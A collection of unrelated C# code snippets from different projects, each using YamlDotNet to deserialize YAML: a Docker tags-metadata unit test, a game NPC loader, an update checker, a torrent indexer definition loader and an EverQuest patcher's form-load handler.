public void DockerfileUrl(string sourceRepoBranch) { using TempFolderContext tempFolderContext = TestHelper.UseTempFolder(); const string SourceRepoUrl = "https://www.github.com/dotnet/dotnet-docker"; const string RepoName = "repo"; const string TagName = "tag"; // Create Dockerfile string DockerfileDir = $"1.0/{RepoName}/os"; Directory.CreateDirectory(Path.Combine(tempFolderContext.Path, DockerfileDir)); string dockerfileRelativePath = Path.Combine(DockerfileDir, "Dockerfile"); string dockerfileFullPath = PathHelper.NormalizePath(Path.Combine(tempFolderContext.Path, dockerfileRelativePath)); File.WriteAllText(dockerfileFullPath, "FROM base:tag"); // Create MCR tags metadata template file StringBuilder tagsMetadataTemplateBuilder = new StringBuilder(); tagsMetadataTemplateBuilder.AppendLine($"$(McrTagsYmlRepo:{RepoName})"); tagsMetadataTemplateBuilder.Append($"$(McrTagsYmlTagGroup:{TagName})"); string tagsMetadataTemplatePath = Path.Combine(tempFolderContext.Path, "tags.yaml"); File.WriteAllText(tagsMetadataTemplatePath, tagsMetadataTemplateBuilder.ToString()); string emptyFileName = "emptyFile.md"; string emptyFilePath = Path.Combine(tempFolderContext.Path, emptyFileName); File.WriteAllText(emptyFilePath, string.Empty); // Create manifest Manifest manifest = ManifestHelper.CreateManifest( ManifestHelper.CreateRepo(RepoName, new Image[] { ManifestHelper.CreateImage( ManifestHelper.CreatePlatform(dockerfileRelativePath, new string[] { TagName })) }, readme: emptyFileName, readmeTemplate: emptyFileName, mcrTagsMetadataTemplate: Path.GetFileName(tagsMetadataTemplatePath)) ); string manifestPath = Path.Combine(tempFolderContext.Path, "manifest.json"); File.WriteAllText(manifestPath, JsonConvert.SerializeObject(manifest)); // Load manifest IManifestOptionsInfo manifestOptions = ManifestHelper.GetManifestOptions(manifestPath); ManifestInfo manifestInfo = ManifestInfo.Load(manifestOptions); RepoInfo repo = manifestInfo.AllRepos.First(); Mock <IGitService> gitServiceMock = new Mock <IGitService>(); const string DockerfileSha = "random_sha"; if (sourceRepoBranch == null) { gitServiceMock .Setup(o => o.GetCommitSha(dockerfileFullPath, true)) .Returns(DockerfileSha); } // Execute generator string result = McrTagsMetadataGenerator.Execute( gitServiceMock.Object, manifestInfo, repo, SourceRepoUrl, sourceRepoBranch); TagsMetadata tagsMetadata = new DeserializerBuilder() .WithNamingConvention(CamelCaseNamingConvention.Instance) .Build() .Deserialize <TagsMetadata>(result); string branchOrSha = sourceRepoBranch ?? DockerfileSha; Assert.Equal($"{SourceRepoUrl}/blob/{branchOrSha}/{DockerfileDir}/Dockerfile", tagsMetadata.Repos[0].TagGroups[0].Dockerfile); }
//NPC format //name: SomeName //health: -1 //role: Scientist //scale: [1, 1, 1] //inventory: [KeycardO5, GunLogicer] //item_held: GunLogicer //root_node: default_node.yml //god_mode: false //is_exclusive: true //process_scp_logic: false //affect_summary: false //events: [] //ai_enabled: false //ai: [] public static Npc CreateNPC(Vector3 pos, Vector2 rot, string path) { try { var input = new StringReader(File.ReadAllText(Path.Combine(Config.NPCs_root_path, path))); var deserializer = new DeserializerBuilder() .WithNamingConvention(CamelCaseNamingConvention.Instance) // Workaround to remove YamlAttributesTypeInspector .WithTypeInspector(inner => inner, s => s.InsteadOf <YamlAttributesTypeInspector>()) .WithTypeInspector( inner => new YamlAttributesTypeInspector(inner), s => s.Before <NamingConventionTypeInspector>() ) .Build(); NpcSerializationInfo raw_npc = deserializer.Deserialize <NpcSerializationInfo>(input); Npc n = CreateNPC(pos, rot, new Vector3(raw_npc.Scale[0], raw_npc.Scale[1], raw_npc.Scale[2]), raw_npc.Role, ItemType.None, raw_npc.Name, raw_npc.RootNode); foreach (ItemType type in raw_npc.Inventory) { Log.Debug($"Added item: {type:g}"); n.TakeItem(type); } n.ItemHeld = raw_npc.ItemHeld; n.NPCPlayer.IsGodModeEnabled = raw_npc.GodMode; n.IsExclusive = raw_npc.IsExclusive; n.SaveFile = path; n.AffectRoundSummary = raw_npc.AffectSummary; n.ProcessSCPLogic = raw_npc.ProcessScpLogic; int health = raw_npc.Health; if (health > 0) { n.NPCPlayer.MaxHealth = health; n.NPCPlayer.Health = health; } Log.Info("Parsing events..."); foreach (NpcEventSerializationInfo info in raw_npc.Events) { Dictionary <NodeAction, Dictionary <string, string> > actions_mapping = new Dictionary <NodeAction, Dictionary <string, string> >(); foreach (NpcNodeWithArgsSerializationInfo action in info.Actions) { NodeAction act = NodeAction.GetFromToken(action.Token); if (act != null) { actions_mapping.Add(act, action.Args); } else { Log.Error($"Failed to event action: {info.Token} (invalid token)"); } } n.Events.Add(info.Token, actions_mapping); } n.AIEnabled = raw_npc.AiEnabled; foreach (NpcNodeWithArgsSerializationInfo info in raw_npc.Ai) { AI.AITarget act = AITarget.GetFromToken(info.Token); if (act != null) { Log.Debug($"Recognized ai target: {act.Name}", Plugin.Instance.Config.VerboseOutput); act.Arguments = info.Args; if (act.Verified) { n.AIQueue.AddLast(act); } else { Log.Warn($"Failed to verify config or construct {act.Name}, it will be skipped!"); } } else { Log.Error($"Failed to parse ai node: {info.Token} (invalid token)"); } } return(n); } catch (Exception e) { Log.Error($"Failed to load NPC from {path}: {e}"); return(null); } }
public async Task CheckForUpdatesAsync() { var remoteUpdate = new RemoteUpdate(); try { _logger.Log("update check: start", Category.Info, Priority.Low); var currentVersion = Assembly.GetExecutingAssembly().GetName().Version; remoteUpdate.CanUpdate = false; using var client = new HttpClient() { DefaultRequestVersion = new Version(2, 0) }; var response = await client.GetByteArrayAsync(Global.RemoteUpdateCheckUrl); if (response != null) { using (var remoteUpdateDataStream = new MemoryStream(response)) { using var remoteUpdateDataStreamReader = new StreamReader(remoteUpdateDataStream); var deserializer = new DeserializerBuilder().WithNamingConvention(CamelCaseNamingConvention.Instance).Build(); remoteUpdate = deserializer.Deserialize <RemoteUpdate>(remoteUpdateDataStreamReader); } if (remoteUpdate != null) { var status = remoteUpdate.Update.Version.CompareTo(currentVersion); // The local version is newer as the remote version if (status < 0) { remoteUpdate.CanUpdate = false; _logger.Log($"update check: You are already using the latest version: {currentVersion}", Category.Info, Priority.Low); MessageQueue.Enqueue($"You are already using the latest version: {currentVersion}"); } //The local version is the same as the remote version else if (status == 0) { remoteUpdate.CanUpdate = false; _logger.Log($"update check: The local version is the same as the remote version: {currentVersion}", Category.Info, Priority.Low); MessageQueue.Enqueue($"You are already using the latest version: {currentVersion}"); } else { // the remote version is newer as the local version remoteUpdate.CanUpdate = true; _logger.Log($"update check: the remote version is newer as the local version: {currentVersion} < {remoteUpdate.Update.Version}", Category.Info, Priority.Low); MessageQueue.Enqueue($"A newer version exists: {remoteUpdate.Update.Version}", "Update Now", async() => await RunUpdateAsync(remoteUpdate)); } } else { _logger.Log($"failed to check for updates: invalid update file", Category.Warn, Priority.High); MessageQueue.Enqueue("Failed to check for updates"); } } else { _logger.Log($"failed to check for updates: no response from server", Category.Warn, Priority.High); MessageQueue.Enqueue("Failed to check for updates"); } _logger.Log("update check: end", Category.Info, Priority.Low); } catch (Exception exception) { MessageQueue.Enqueue("An error occurred when checking updates. Please check the logs."); _logger.Log($"CheckForUpdatesAsync {exception.Message}", Category.Exception, Priority.High); } }
public static DeserializerBuilder WithSerializationEventSupport(this DeserializerBuilder builder) { return(builder .WithNodeDeserializer(inner => new EventSupportingNodeDeserializer(inner), s => s.InsteadOf <ObjectNodeDeserializer>())); }
protected void Init(string DefinitionString) { this.DefinitionString = DefinitionString; var deserializer = new DeserializerBuilder() .WithNamingConvention(new CamelCaseNamingConvention()) .IgnoreUnmatchedProperties() .Build(); Definition = deserializer.Deserialize<IndexerDefinition>(DefinitionString); // Add default data if necessary if (Definition.Settings == null) Definition.Settings = new List<settingsField>(); if (Definition.Settings.Count == 0) { Definition.Settings.Add(new settingsField { Name = "username", Label = "Username", Type = "text" }); Definition.Settings.Add(new settingsField { Name = "password", Label = "Password", Type = "password" }); } if (Definition.Encoding == null) Definition.Encoding = "iso-8859-1"; if (Definition.Login != null && Definition.Login.Method == null) Definition.Login.Method = "form"; // init missing mandatory attributes DisplayName = Definition.Name; DisplayDescription = Definition.Description; SiteLink = Definition.Links[0]; // TODO: implement alternative links Encoding = Encoding.GetEncoding(Definition.Encoding); if (!SiteLink.EndsWith("/")) SiteLink += "/"; Language = Definition.Language; TorznabCaps = TorznabUtil.CreateDefaultTorznabTVCaps(); // TODO implement caps // init config Data configData = new ConfigurationData(); foreach (var Setting in Definition.Settings) { configData.AddDynamic(Setting.Name, new StringItem { Name = Setting.Label }); } foreach (var Category in Definition.Caps.Categories) { var cat = TorznabCatType.GetCatByName(Category.Value); if (cat == null) { logger.Error(string.Format("CardigannIndexer ({0}): Can't find a category for {1}", ID, Category.Value)); continue; } AddCategoryMapping(Category.Key, TorznabCatType.GetCatByName(Category.Value)); } }
private void MainForm_Load(object sender, EventArgs e) { if (MainForm.defaultAutoPlay || MainForm.defaultAutoPatch) { Console.WriteLine("Auto default enabled"); } isLoading = true; txtList.Visible = false; splashLogo.Visible = true; if (this.Width < 432) { this.Width = 432; } if (this.Height < 550) { this.Height = 550; } buildClientVersions(); IniLibrary.Load(); detectClientVersion(); if (IniLibrary.instance.ClientVersion == VersionTypes.Unknown) { detectClientVersion(); if (currentVersion == VersionTypes.Unknown) { this.Close(); } IniLibrary.instance.ClientVersion = currentVersion; IniLibrary.Save(); } string suffix = "unk"; if (currentVersion == VersionTypes.Titanium) { suffix = "tit"; } if (currentVersion == VersionTypes.Underfoot) { suffix = "und"; } if (currentVersion == VersionTypes.Seeds_Of_Destruction) { suffix = "sod"; } if (currentVersion == VersionTypes.Broken_Mirror) { suffix = "bro"; } if (currentVersion == VersionTypes.Secrets_Of_Feydwer) { suffix = "sof"; } if (currentVersion == VersionTypes.Rain_Of_Fear || currentVersion == VersionTypes.Rain_Of_Fear_2) { suffix = "rof"; } bool isSupported = false; foreach (var ver in supportedClients) { if (ver != currentVersion) { continue; } isSupported = true; break; } if (!isSupported) { MessageBox.Show("The server " + serverName + " does not work with this copy of Everquest (" + currentVersion.ToString().Replace("_", " ") + ")", serverName); this.Close(); return; } this.Text = serverName + " (Client: " + currentVersion.ToString().Replace("_", " ") + ")"; string webUrl = filelistUrl + suffix + "/filelist_" + suffix + ".yml"; string response = DownloadFile(webUrl, "filelist.yml"); if (response != "") { MessageBox.Show("Failed to fetch filelist from " + webUrl + ": " + response); this.Close(); return; } txtList.Visible = false; splashLogo.Visible = true; FileList filelist; using (var input = File.OpenText("filelist.yml")) { var deserializerBuilder = new DeserializerBuilder().WithNamingConvention(new CamelCaseNamingConvention()); var deserializer = deserializerBuilder.Build(); filelist = deserializer.Deserialize <FileList>(input); } if (filelist.version != IniLibrary.instance.LastPatchedVersion) { isNeedingPatch = true; btnCheck.BackColor = Color.Red; } else { if (IniLibrary.instance.AutoPlay.ToLower() == "true") { PlayGame(); } } chkAutoPlay.Checked = (IniLibrary.instance.AutoPlay == "true"); chkAutoPatch.Checked = (IniLibrary.instance.AutoPatch == "true"); isLoading = false; if (File.Exists("eqemupatcher.png")) { splashLogo.Load("eqemupatcher.png"); } }